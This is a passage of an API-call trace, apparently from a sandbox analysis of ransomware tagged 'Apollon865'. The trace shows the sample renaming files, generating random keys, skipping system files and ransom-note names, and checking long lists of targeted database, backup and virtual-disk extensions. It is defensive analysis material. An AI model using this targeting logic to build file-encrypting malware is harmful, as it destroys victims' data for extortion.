	[0066.646] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0066.646] lstrlenW (lpString="avhd") returned 4
	[0066.646] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0066.646] lstrlenW (lpString="db") returned 2
	[0066.646] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0066.646] lstrlenW (lpString="db2") returned 3
	[0066.646] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0066.646] lstrlenW (lpString="db3") returned 3
	[0066.646] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0066.646] lstrlenW (lpString="dbf") returned 3
	[0066.646] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0066.646] lstrlenW (lpString="mdf") returned 3
	[0066.646] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0066.646] lstrlenW (lpString="mdb") returned 3
	[0066.646] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0066.646] lstrlenW (lpString="sql") returned 3
	[0066.646] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0066.646] lstrlenW (lpString="sqlite") returned 6
	[0066.646] lstrcmpiW (lpString1="RM.XML", lpString2="sqlite") returned -1
	[0066.646] lstrlenW (lpString="sqlite3") returned 7
	[0066.646] lstrcmpiW (lpString1="ORM.XML", lpString2="sqlite3") returned -1
	[0066.646] lstrlenW (lpString="sqlitedb") returned 8
	[0066.646] lstrcmpiW (lpString1="FORM.XML", lpString2="sqlitedb") returned -1
	[0066.646] lstrlenW (lpString="xml") returned 3
	[0066.646] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0066.646] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML.Apollon865") returned 72
	[0066.646] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0066.648] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=68166) returned 1
	[0066.648] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0066.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0066.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0066.649] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0066.649] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.649] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.650] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10d50, lpName=0x0) returned 0x154
	[0066.654] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10d50) returned 0x120000
	[0066.658] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0066.658] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.658] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.659] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.659] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0066.659] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.659] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0066.659] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.659] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0066.660] CloseHandle (hObject=0x154) returned 1
	[0066.660] CloseHandle (hObject=0x15c) returned 1
	[0066.660] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0066.660] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0066.660] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0066.661] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e02aa00, ftCreationTime.dwHighDateTime=0x1c9c882, ftLastAccessTime.dwLowDateTime=0x51a3b970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e02aa00, ftLastWriteTime.dwHighDateTime=0x1c9c882, nFileSizeHigh=0x0, nFileSizeLow=0xf0ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BORDERBB.DPV", cAlternateFileName="")) returned 1
	[0066.661] lstrcmpiW (lpString1="BORDERBB.DPV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.661] lstrcmpiW (lpString1="BORDERBB.DPV", lpString2="Apollon865.txt.exe") returned 1
	[0066.661] lstrcmpiW (lpString1="BORDERBB.DPV", lpString2=".") returned 1
	[0066.661] lstrcmpiW (lpString1="BORDERBB.DPV", lpString2="..") returned 1
	[0066.661] lstrcmpiW (lpString1="BORDERBB.DPV", lpString2="windows") returned -1
	[0066.661] lstrcmpiW (lpString1="BORDERBB.DPV", lpString2="bootmgr") returned 1
	[0066.661] lstrcmpiW (lpString1="BORDERBB.DPV", lpString2="temp") returned -1
	[0066.661] lstrcmpiW (lpString1="BORDERBB.DPV", lpString2="pagefile.sys") returned -1
	[0066.661] lstrcmpiW (lpString1="BORDERBB.DPV", lpString2="boot") returned 1
	[0066.661] lstrcmpiW (lpString1="BORDERBB.DPV", lpString2="ids.txt") returned -1
	[0066.661] lstrcmpiW (lpString1="BORDERBB.DPV", lpString2="ntuser.dat") returned -1
	[0066.661] lstrcmpiW (lpString1="BORDERBB.DPV", lpString2="perflogs") returned -1
	[0066.661] lstrcmpiW (lpString1="BORDERBB.DPV", lpString2="MSBuild") returned -1
	[0066.661] lstrlenW (lpString="BORDERBB.DPV") returned 12
	[0066.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML") returned 61
	[0066.661] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BORDERBB.DPV" | out: lpString1="BORDERBB.DPV") returned="BORDERBB.DPV"
	[0066.661] lstrlenW (lpString="BORDERBB.DPV") returned 12
	[0066.661] lstrlenW (lpString="Apollon865") returned 10
	[0066.661] lstrcmpiW (lpString1="RDERBB.DPV", lpString2="Apollon865") returned 1
	[0066.661] lstrlenW (lpString=".dll") returned 4
	[0066.661] lstrcmpiW (lpString1="BORDERBB.DPV", lpString2=".dll") returned 1
	[0066.661] lstrlenW (lpString=".lnk") returned 4
	[0066.661] lstrcmpiW (lpString1="BORDERBB.DPV", lpString2=".lnk") returned 1
	[0066.661] lstrlenW (lpString=".ini") returned 4
	[0066.661] lstrcmpiW (lpString1="BORDERBB.DPV", lpString2=".ini") returned 1
	[0066.661] lstrlenW (lpString=".sys") returned 4
	[0066.662] lstrcmpiW (lpString1="BORDERBB.DPV", lpString2=".sys") returned 1
	[0066.662] lstrlenW (lpString="BORDERBB.DPV") returned 12
	[0066.662] lstrlenW (lpString="bak") returned 3
	[0066.662] lstrcmpiW (lpString1="DPV", lpString2="bak") returned 1
	[0066.662] lstrlenW (lpString="ba_") returned 3
	[0066.662] lstrcmpiW (lpString1="DPV", lpString2="ba_") returned 1
	[0066.662] lstrlenW (lpString="dbb") returned 3
	[0066.662] lstrcmpiW (lpString1="DPV", lpString2="dbb") returned 1
	[0066.662] lstrlenW (lpString="vmdk") returned 4
	[0066.662] lstrcmpiW (lpString1=".DPV", lpString2="vmdk") returned -1
	[0066.662] lstrlenW (lpString="rar") returned 3
	[0066.662] lstrcmpiW (lpString1="DPV", lpString2="rar") returned -1
	[0066.662] lstrlenW (lpString="zip") returned 3
	[0066.662] lstrcmpiW (lpString1="DPV", lpString2="zip") returned -1
	[0066.662] lstrlenW (lpString="tgz") returned 3
	[0066.662] lstrcmpiW (lpString1="DPV", lpString2="tgz") returned -1
	[0066.662] lstrlenW (lpString="vbox") returned 4
	[0066.662] lstrcmpiW (lpString1=".DPV", lpString2="vbox") returned -1
	[0066.662] lstrlenW (lpString="vdi") returned 3
	[0066.662] lstrcmpiW (lpString1="DPV", lpString2="vdi") returned -1
	[0066.662] lstrlenW (lpString="vhd") returned 3
	[0066.662] lstrcmpiW (lpString1="DPV", lpString2="vhd") returned -1
	[0066.662] lstrlenW (lpString="vhdx") returned 4
	[0066.662] lstrcmpiW (lpString1=".DPV", lpString2="vhdx") returned -1
	[0066.662] lstrlenW (lpString="avhd") returned 4
	[0066.662] lstrcmpiW (lpString1=".DPV", lpString2="avhd") returned -1
	[0066.662] lstrlenW (lpString="db") returned 2
	[0066.662] lstrcmpiW (lpString1="PV", lpString2="db") returned 1
	[0066.662] lstrlenW (lpString="db2") returned 3
	[0066.662] lstrcmpiW (lpString1="DPV", lpString2="db2") returned 1
	[0066.662] lstrlenW (lpString="db3") returned 3
	[0066.662] lstrcmpiW (lpString1="DPV", lpString2="db3") returned 1
	[0066.662] lstrlenW (lpString="dbf") returned 3
	[0066.662] lstrcmpiW (lpString1="DPV", lpString2="dbf") returned 1
	[0066.663] lstrlenW (lpString="mdf") returned 3
	[0066.663] lstrcmpiW (lpString1="DPV", lpString2="mdf") returned -1
	[0066.663] lstrlenW (lpString="mdb") returned 3
	[0066.663] lstrcmpiW (lpString1="DPV", lpString2="mdb") returned -1
	[0066.663] lstrlenW (lpString="sql") returned 3
	[0066.663] lstrcmpiW (lpString1="DPV", lpString2="sql") returned -1
	[0066.663] lstrlenW (lpString="sqlite") returned 6
	[0066.663] lstrcmpiW (lpString1="BB.DPV", lpString2="sqlite") returned -1
	[0066.663] lstrlenW (lpString="sqlite3") returned 7
	[0066.663] lstrcmpiW (lpString1="RBB.DPV", lpString2="sqlite3") returned -1
	[0066.663] lstrlenW (lpString="sqlitedb") returned 8
	[0066.663] lstrcmpiW (lpString1="ERBB.DPV", lpString2="sqlitedb") returned -1
	[0066.663] lstrlenW (lpString="xml") returned 3
	[0066.663] lstrcmpiW (lpString1="DPV", lpString2="xml") returned -1
	[0066.663] lstrlenW (lpString="$er") returned 3
	[0066.663] lstrcmpiW (lpString1="DPV", lpString2="$er") returned 1
	[0066.663] lstrlenW (lpString="4dd") returned 3
	[0066.663] lstrcmpiW (lpString1="DPV", lpString2="4dd") returned 1
	[0066.663] lstrlenW (lpString="4dl") returned 3
	[0066.663] lstrcmpiW (lpString1="DPV", lpString2="4dl") returned 1
	[0066.663] lstrlenW (lpString="^^^") returned 3
	[0066.663] lstrcmpiW (lpString1="DPV", lpString2="^^^") returned 1
	[0066.663] lstrlenW (lpString="abs") returned 3
	[0066.663] lstrcmpiW (lpString1="DPV", lpString2="abs") returned 1
	[0066.663] lstrlenW (lpString="abx") returned 3
	[0066.663] lstrcmpiW (lpString1="DPV", lpString2="abx") returned 1
	[0066.663] lstrlenW (lpString="accdb") returned 5
	[0066.663] lstrcmpiW (lpString1="B.DPV", lpString2="accdb") returned 1
	[0066.663] lstrlenW (lpString="accdc") returned 5
	[0066.663] lstrcmpiW (lpString1="B.DPV", lpString2="accdc") returned 1
	[0066.663] lstrlenW (lpString="accde") returned 5
	[0066.663] lstrcmpiW (lpString1="B.DPV", lpString2="accde") returned 1
	[0066.663] lstrlenW (lpString="accdr") returned 5
	[0066.664] lstrcmpiW (lpString1="B.DPV", lpString2="accdr") returned 1
	[0066.664] lstrlenW (lpString="accdt") returned 5
	[0066.664] lstrcmpiW (lpString1="B.DPV", lpString2="accdt") returned 1
	[0066.664] lstrlenW (lpString="accdw") returned 5
	[0066.664] lstrcmpiW (lpString1="B.DPV", lpString2="accdw") returned 1
	[0066.664] lstrlenW (lpString="accft") returned 5
	[0066.664] lstrcmpiW (lpString1="B.DPV", lpString2="accft") returned 1
	[0066.664] lstrlenW (lpString="adb") returned 3
	[0066.664] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.664] lstrlenW (lpString="adb") returned 3
	[0066.664] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.664] lstrlenW (lpString="ade") returned 3
	[0066.664] lstrcmpiW (lpString1="DPV", lpString2="ade") returned 1
	[0066.664] lstrlenW (lpString="adf") returned 3
	[0066.664] lstrcmpiW (lpString1="DPV", lpString2="adf") returned 1
	[0066.664] lstrlenW (lpString="adn") returned 3
	[0066.664] lstrcmpiW (lpString1="DPV", lpString2="adn") returned 1
	[0066.664] lstrlenW (lpString="adp") returned 3
	[0066.664] lstrcmpiW (lpString1="DPV", lpString2="adp") returned 1
	[0066.664] lstrlenW (lpString="alf") returned 3
	[0066.664] lstrcmpiW (lpString1="DPV", lpString2="alf") returned 1
	[0066.664] lstrlenW (lpString="ask") returned 3
	[0066.664] lstrcmpiW (lpString1="DPV", lpString2="ask") returned 1
	[0066.664] lstrlenW (lpString="btr") returned 3
	[0066.664] lstrcmpiW (lpString1="DPV", lpString2="btr") returned 1
	[0066.664] lstrlenW (lpString="cat") returned 3
	[0066.664] lstrcmpiW (lpString1="DPV", lpString2="cat") returned 1
	[0066.664] lstrlenW (lpString="cdb") returned 3
	[0066.664] lstrcmpiW (lpString1="DPV", lpString2="cdb") returned 1
	[0066.664] lstrlenW (lpString="ckp") returned 3
	[0066.664] lstrcmpiW (lpString1="DPV", lpString2="ckp") returned 1
	[0066.664] lstrlenW (lpString="cma") returned 3
	[0066.664] lstrcmpiW (lpString1="DPV", lpString2="cma") returned 1
	[0066.664] lstrlenW (lpString="cpd") returned 3
	[0066.664] lstrcmpiW (lpString1="DPV", lpString2="cpd") returned 1
	[0066.665] lstrlenW (lpString="dacpac") returned 6
	[0066.665] lstrcmpiW (lpString1="BB.DPV", lpString2="dacpac") returned -1
	[0066.665] lstrlenW (lpString="dad") returned 3
	[0066.665] lstrcmpiW (lpString1="DPV", lpString2="dad") returned 1
	[0066.665] lstrlenW (lpString="dadiagrams") returned 10
	[0066.665] lstrcmpiW (lpString1="RDERBB.DPV", lpString2="dadiagrams") returned 1
	[0066.665] lstrlenW (lpString="daschema") returned 8
	[0066.665] lstrcmpiW (lpString1="ERBB.DPV", lpString2="daschema") returned 1
	[0066.665] lstrlenW (lpString="db-journal") returned 10
	[0066.665] lstrcmpiW (lpString1="RDERBB.DPV", lpString2="db-journal") returned 1
	[0066.665] lstrlenW (lpString="db-shm") returned 6
	[0066.665] lstrcmpiW (lpString1="BB.DPV", lpString2="db-shm") returned -1
	[0066.665] lstrlenW (lpString="db-wal") returned 6
	[0066.665] lstrcmpiW (lpString1="BB.DPV", lpString2="db-wal") returned -1
	[0066.665] lstrlenW (lpString="dbc") returned 3
	[0066.665] lstrcmpiW (lpString1="DPV", lpString2="dbc") returned 1
	[0066.665] lstrlenW (lpString="dbs") returned 3
	[0066.665] lstrcmpiW (lpString1="DPV", lpString2="dbs") returned 1
	[0066.665] lstrlenW (lpString="dbt") returned 3
	[0066.665] lstrcmpiW (lpString1="DPV", lpString2="dbt") returned 1
	[0066.665] lstrlenW (lpString="dbv") returned 3
	[0066.665] lstrcmpiW (lpString1="DPV", lpString2="dbv") returned 1
	[0066.665] lstrlenW (lpString="dbx") returned 3
	[0066.665] lstrcmpiW (lpString1="DPV", lpString2="dbx") returned 1
	[0066.665] lstrlenW (lpString="dcb") returned 3
	[0066.665] lstrcmpiW (lpString1="DPV", lpString2="dcb") returned 1
	[0066.665] lstrlenW (lpString="dct") returned 3
	[0066.665] lstrcmpiW (lpString1="DPV", lpString2="dct") returned 1
	[0066.665] lstrlenW (lpString="dcx") returned 3
	[0066.665] lstrcmpiW (lpString1="DPV", lpString2="dcx") returned 1
	[0066.665] lstrlenW (lpString="ddl") returned 3
	[0066.665] lstrcmpiW (lpString1="DPV", lpString2="ddl") returned 1
	[0066.665] lstrlenW (lpString="dlis") returned 4
	[0066.665] lstrcmpiW (lpString1=".DPV", lpString2="dlis") returned -1
	[0066.665] lstrlenW (lpString="dp1") returned 3
	[0066.666] lstrcmpiW (lpString1="DPV", lpString2="dp1") returned 1
	[0066.666] lstrlenW (lpString="dqy") returned 3
	[0066.666] lstrcmpiW (lpString1="DPV", lpString2="dqy") returned -1
	[0066.666] lstrlenW (lpString="dsk") returned 3
	[0066.666] lstrcmpiW (lpString1="DPV", lpString2="dsk") returned -1
	[0066.666] lstrlenW (lpString="dsn") returned 3
	[0066.666] lstrcmpiW (lpString1="DPV", lpString2="dsn") returned -1
	[0066.666] lstrlenW (lpString="dtsx") returned 4
	[0066.666] lstrcmpiW (lpString1=".DPV", lpString2="dtsx") returned -1
	[0066.666] lstrlenW (lpString="dxl") returned 3
	[0066.666] lstrcmpiW (lpString1="DPV", lpString2="dxl") returned -1
	[0066.666] lstrlenW (lpString="eco") returned 3
	[0066.666] lstrcmpiW (lpString1="DPV", lpString2="eco") returned -1
	[0066.666] lstrlenW (lpString="ecx") returned 3
	[0066.666] lstrcmpiW (lpString1="DPV", lpString2="ecx") returned -1
	[0066.666] lstrlenW (lpString="edb") returned 3
	[0066.666] lstrcmpiW (lpString1="DPV", lpString2="edb") returned -1
	[0066.666] lstrlenW (lpString="epim") returned 4
	[0066.666] lstrcmpiW (lpString1=".DPV", lpString2="epim") returned -1
	[0066.666] lstrlenW (lpString="fcd") returned 3
	[0066.666] lstrcmpiW (lpString1="DPV", lpString2="fcd") returned -1
	[0066.666] lstrlenW (lpString="fdb") returned 3
	[0066.666] lstrcmpiW (lpString1="DPV", lpString2="fdb") returned -1
	[0066.666] lstrlenW (lpString="fic") returned 3
	[0066.666] lstrcmpiW (lpString1="DPV", lpString2="fic") returned -1
	[0066.666] lstrlenW (lpString="flexolibrary") returned 12
	[0066.666] lstrlenW (lpString="fm5") returned 3
	[0066.666] lstrcmpiW (lpString1="DPV", lpString2="fm5") returned -1
	[0066.666] lstrlenW (lpString="fmp") returned 3
	[0066.666] lstrcmpiW (lpString1="DPV", lpString2="fmp") returned -1
	[0066.666] lstrlenW (lpString="fmp12") returned 5
	[0066.666] lstrcmpiW (lpString1="B.DPV", lpString2="fmp12") returned -1
	[0066.666] lstrlenW (lpString="fmpsl") returned 5
	[0066.666] lstrcmpiW (lpString1="B.DPV", lpString2="fmpsl") returned -1
	[0066.667] lstrlenW (lpString="fol") returned 3
	[0066.667] lstrcmpiW (lpString1="DPV", lpString2="fol") returned -1
	[0066.667] lstrlenW (lpString="fp3") returned 3
	[0066.667] lstrcmpiW (lpString1="DPV", lpString2="fp3") returned -1
	[0066.667] lstrlenW (lpString="fp4") returned 3
	[0066.667] lstrcmpiW (lpString1="DPV", lpString2="fp4") returned -1
	[0066.667] lstrlenW (lpString="fp5") returned 3
	[0066.667] lstrcmpiW (lpString1="DPV", lpString2="fp5") returned -1
	[0066.667] lstrlenW (lpString="fp7") returned 3
	[0066.667] lstrcmpiW (lpString1="DPV", lpString2="fp7") returned -1
	[0066.667] lstrlenW (lpString="fpt") returned 3
	[0066.667] lstrcmpiW (lpString1="DPV", lpString2="fpt") returned -1
	[0066.667] lstrlenW (lpString="frm") returned 3
	[0066.667] lstrcmpiW (lpString1="DPV", lpString2="frm") returned -1
	[0066.667] lstrlenW (lpString="gdb") returned 3
	[0066.667] lstrcmpiW (lpString1="DPV", lpString2="gdb") returned -1
	[0066.667] lstrlenW (lpString="gdb") returned 3
	[0066.667] lstrcmpiW (lpString1="DPV", lpString2="gdb") returned -1
	[0066.667] lstrlenW (lpString="grdb") returned 4
	[0066.667] lstrcmpiW (lpString1=".DPV", lpString2="grdb") returned -1
	[0066.667] lstrlenW (lpString="gwi") returned 3
	[0066.667] lstrcmpiW (lpString1="DPV", lpString2="gwi") returned -1
	[0066.667] lstrlenW (lpString="hdb") returned 3
	[0066.667] lstrcmpiW (lpString1="DPV", lpString2="hdb") returned -1
	[0066.667] lstrlenW (lpString="his") returned 3
	[0066.667] lstrcmpiW (lpString1="DPV", lpString2="his") returned -1
	[0066.667] lstrlenW (lpString="ib") returned 2
	[0066.667] lstrcmpiW (lpString1="PV", lpString2="ib") returned 1
	[0066.667] lstrlenW (lpString="idb") returned 3
	[0066.667] lstrcmpiW (lpString1="DPV", lpString2="idb") returned -1
	[0066.667] lstrlenW (lpString="ihx") returned 3
	[0066.667] lstrcmpiW (lpString1="DPV", lpString2="ihx") returned -1
	[0066.667] lstrlenW (lpString="itdb") returned 4
	[0066.668] lstrcmpiW (lpString1=".DPV", lpString2="itdb") returned -1
	[0066.668] lstrlenW (lpString="itw") returned 3
	[0066.668] lstrcmpiW (lpString1="DPV", lpString2="itw") returned -1
	[0066.668] lstrlenW (lpString="jet") returned 3
	[0066.668] lstrcmpiW (lpString1="DPV", lpString2="jet") returned -1
	[0066.668] lstrlenW (lpString="jtx") returned 3
	[0066.668] lstrcmpiW (lpString1="DPV", lpString2="jtx") returned -1
	[0066.668] lstrlenW (lpString="kdb") returned 3
	[0066.668] lstrcmpiW (lpString1="DPV", lpString2="kdb") returned -1
	[0066.668] lstrlenW (lpString="kexi") returned 4
	[0066.668] lstrcmpiW (lpString1=".DPV", lpString2="kexi") returned -1
	[0066.668] lstrlenW (lpString="kexic") returned 5
	[0066.668] lstrcmpiW (lpString1="B.DPV", lpString2="kexic") returned -1
	[0066.668] lstrlenW (lpString="kexis") returned 5
	[0066.668] lstrcmpiW (lpString1="B.DPV", lpString2="kexis") returned -1
	[0066.668] lstrlenW (lpString="lgc") returned 3
	[0066.668] lstrcmpiW (lpString1="DPV", lpString2="lgc") returned -1
	[0066.668] lstrlenW (lpString="lwx") returned 3
	[0066.668] lstrcmpiW (lpString1="DPV", lpString2="lwx") returned -1
	[0066.668] lstrlenW (lpString="maf") returned 3
	[0066.668] lstrcmpiW (lpString1="DPV", lpString2="maf") returned -1
	[0066.668] lstrlenW (lpString="maq") returned 3
	[0066.668] lstrcmpiW (lpString1="DPV", lpString2="maq") returned -1
	[0066.668] lstrlenW (lpString="mar") returned 3
	[0066.668] lstrcmpiW (lpString1="DPV", lpString2="mar") returned -1
	[0066.668] lstrlenW (lpString="marshal") returned 7
	[0066.668] lstrcmpiW (lpString1="RBB.DPV", lpString2="marshal") returned 1
	[0066.668] lstrlenW (lpString="mas") returned 3
	[0066.668] lstrcmpiW (lpString1="DPV", lpString2="mas") returned -1
	[0066.668] lstrlenW (lpString="mav") returned 3
	[0066.668] lstrcmpiW (lpString1="DPV", lpString2="mav") returned -1
	[0066.668] lstrlenW (lpString="maw") returned 3
	[0066.668] lstrcmpiW (lpString1="DPV", lpString2="maw") returned -1
	[0066.668] lstrlenW (lpString="mdbhtml") returned 7
	[0066.669] lstrcmpiW (lpString1="RBB.DPV", lpString2="mdbhtml") returned 1
	[0066.669] lstrlenW (lpString="mdn") returned 3
	[0066.669] lstrcmpiW (lpString1="DPV", lpString2="mdn") returned -1
	[0066.669] lstrlenW (lpString="mdt") returned 3
	[0066.669] lstrcmpiW (lpString1="DPV", lpString2="mdt") returned -1
	[0066.669] lstrlenW (lpString="mfd") returned 3
	[0066.669] lstrcmpiW (lpString1="DPV", lpString2="mfd") returned -1
	[0066.669] lstrlenW (lpString="mpd") returned 3
	[0066.669] lstrcmpiW (lpString1="DPV", lpString2="mpd") returned -1
	[0066.669] lstrlenW (lpString="mrg") returned 3
	[0066.669] lstrcmpiW (lpString1="DPV", lpString2="mrg") returned -1
	[0066.669] lstrlenW (lpString="mud") returned 3
	[0066.669] lstrcmpiW (lpString1="DPV", lpString2="mud") returned -1
	[0066.669] lstrlenW (lpString="mwb") returned 3
	[0066.669] lstrcmpiW (lpString1="DPV", lpString2="mwb") returned -1
	[0066.669] lstrlenW (lpString="myd") returned 3
	[0066.669] lstrcmpiW (lpString1="DPV", lpString2="myd") returned -1
	[0066.669] lstrlenW (lpString="ndf") returned 3
	[0066.669] lstrcmpiW (lpString1="DPV", lpString2="ndf") returned -1
	[0066.669] lstrlenW (lpString="nnt") returned 3
	[0066.669] lstrcmpiW (lpString1="DPV", lpString2="nnt") returned -1
	[0066.669] lstrlenW (lpString="nrmlib") returned 6
	[0066.669] lstrcmpiW (lpString1="BB.DPV", lpString2="nrmlib") returned -1
	[0066.669] lstrlenW (lpString="ns2") returned 3
	[0066.669] lstrcmpiW (lpString1="DPV", lpString2="ns2") returned -1
	[0066.669] lstrlenW (lpString="ns3") returned 3
	[0066.669] lstrcmpiW (lpString1="DPV", lpString2="ns3") returned -1
	[0066.669] lstrlenW (lpString="ns4") returned 3
	[0066.669] lstrcmpiW (lpString1="DPV", lpString2="ns4") returned -1
	[0066.669] lstrlenW (lpString="nsf") returned 3
	[0066.669] lstrcmpiW (lpString1="DPV", lpString2="nsf") returned -1
	[0066.669] lstrlenW (lpString="nv") returned 2
	[0066.670] lstrcmpiW (lpString1="PV", lpString2="nv") returned 1
	[0066.670] lstrlenW (lpString="nv2") returned 3
	[0066.670] lstrcmpiW (lpString1="DPV", lpString2="nv2") returned -1
	[0066.670] lstrlenW (lpString="nwdb") returned 4
	[0066.670] lstrcmpiW (lpString1=".DPV", lpString2="nwdb") returned -1
	[0066.670] lstrlenW (lpString="nyf") returned 3
	[0066.670] lstrcmpiW (lpString1="DPV", lpString2="nyf") returned -1
	[0066.670] lstrlenW (lpString="odb") returned 3
	[0066.670] lstrcmpiW (lpString1="DPV", lpString2="odb") returned -1
	[0066.670] lstrlenW (lpString="odb") returned 3
	[0066.670] lstrcmpiW (lpString1="DPV", lpString2="odb") returned -1
	[0066.670] lstrlenW (lpString="oqy") returned 3
	[0066.670] lstrcmpiW (lpString1="DPV", lpString2="oqy") returned -1
	[0066.670] lstrlenW (lpString="ora") returned 3
	[0066.670] lstrcmpiW (lpString1="DPV", lpString2="ora") returned -1
	[0066.670] lstrlenW (lpString="orx") returned 3
	[0066.670] lstrcmpiW (lpString1="DPV", lpString2="orx") returned -1
	[0066.670] lstrlenW (lpString="owc") returned 3
	[0066.670] lstrcmpiW (lpString1="DPV", lpString2="owc") returned -1
	[0066.670] lstrlenW (lpString="p96") returned 3
	[0066.670] lstrcmpiW (lpString1="DPV", lpString2="p96") returned -1
	[0066.670] lstrlenW (lpString="p97") returned 3
	[0066.670] lstrcmpiW (lpString1="DPV", lpString2="p97") returned -1
	[0066.670] lstrlenW (lpString="pan") returned 3
	[0066.670] lstrcmpiW (lpString1="DPV", lpString2="pan") returned -1
	[0066.670] lstrlenW (lpString="pdb") returned 3
	[0066.670] lstrcmpiW (lpString1="DPV", lpString2="pdb") returned -1
	[0066.670] lstrlenW (lpString="pdm") returned 3
	[0066.670] lstrcmpiW (lpString1="DPV", lpString2="pdm") returned -1
	[0066.670] lstrlenW (lpString="pnz") returned 3
	[0066.670] lstrcmpiW (lpString1="DPV", lpString2="pnz") returned -1
	[0066.670] lstrlenW (lpString="qry") returned 3
	[0066.670] lstrcmpiW (lpString1="DPV", lpString2="qry") returned -1
	[0066.670] lstrlenW (lpString="qvd") returned 3
	[0066.671] lstrcmpiW (lpString1="DPV", lpString2="qvd") returned -1
	[0066.671] lstrlenW (lpString="rbf") returned 3
	[0066.671] lstrcmpiW (lpString1="DPV", lpString2="rbf") returned -1
	[0066.671] lstrlenW (lpString="rctd") returned 4
	[0066.671] lstrcmpiW (lpString1=".DPV", lpString2="rctd") returned -1
	[0066.671] lstrlenW (lpString="rod") returned 3
	[0066.671] lstrcmpiW (lpString1="DPV", lpString2="rod") returned -1
	[0066.671] lstrlenW (lpString="rodx") returned 4
